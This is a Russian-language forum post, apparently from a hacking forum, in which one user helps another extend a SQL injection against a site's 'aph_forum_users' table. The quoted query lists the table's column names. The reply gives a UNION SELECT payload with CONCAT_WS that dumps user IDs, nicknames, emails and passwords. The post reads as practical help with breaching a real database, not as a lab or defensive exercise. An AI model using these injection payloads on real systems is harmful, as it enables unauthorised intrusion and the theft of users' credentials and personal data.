Показать сообщение отдельно

  #237  
Старый 31.03.2013, 11:06
BlackIce
Участник форума
Регистрация: 10.01.2013
Сообщений: 100
Провел на форуме:
18665

Репутация: 27
По умолчанию

Цитата:
Сообщение от LomasterII  
а что дальше, как их выбирать?
запрос
Код HTML:
?q=532&n=108316' and 1=0 union select 1,COLUMN_NAME,3,4,5,6,7 FROM INFORMATION_SCHEMA.COLUMNS where table_name='aph_forum_users' --
Выводит
Id
Nik
Email
Pasw
Ну у Вас выводятся имена столбцов таблицы. Чтобы вывести значения этих столбцов, просто впишите в запрос имена и укажите с какой таблицы делать выборку. В Вашем случает примерно так...

?q=532&n=108316' and 1=0 union select 1,CONCAT_WS(0x3a,Id,Nik,Email,Pasw),3,4,5,6,7 FROM aph_forum_users --